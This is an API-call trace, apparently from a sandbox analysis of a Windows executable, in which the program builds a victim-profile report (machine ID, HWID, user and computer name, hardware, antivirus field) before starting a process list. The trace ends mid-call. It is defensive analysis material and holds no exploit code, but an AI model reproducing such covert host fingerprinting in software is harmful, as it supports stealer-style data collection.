[0054.760] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\n", lpString2="Threads: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: "
[0054.760] GetSystemInfo (in: lpSystemInfo=0x182270 | out: lpSystemInfo=0x182270*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0054.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dad8
[0054.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.761] GetLastError () returned 0x7a
[0054.761] SetLastError (dwErrCode=0x7a)
[0054.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0054.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dad8 | out: hHeap=0x670000) returned 1
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: ", lpString2="4" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4"
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\n"
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\n", lpString2="RAM: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: "
[0054.762] GetProcessHeap () returned 0x680000
[0054.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x758b18
[0054.762] GlobalMemoryStatusEx (in: lpBuffer=0x182288 | out: lpBuffer=0x182288) returned 1
[0054.762] wsprintfA (in: param_1=0x758b18, param_2="%d MB" | out: param_1="4096 MB") returned 7
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: ", lpString2="4096 MB" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB"
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\n"
[0054.762] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\n", lpString2="VideoCard: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: "
[0054.762] EnumDisplayDevicesA (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x182120, dwFlags=0x1 | out: lpDisplayDevice=0x182120) returned 1
[0054.764] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: ", lpString2="Microsoft Basic Display Adapter" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter"
[0054.764] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter", lpString2="\n\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n"
[0054.764] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n", lpString2="[Processes]" | out: 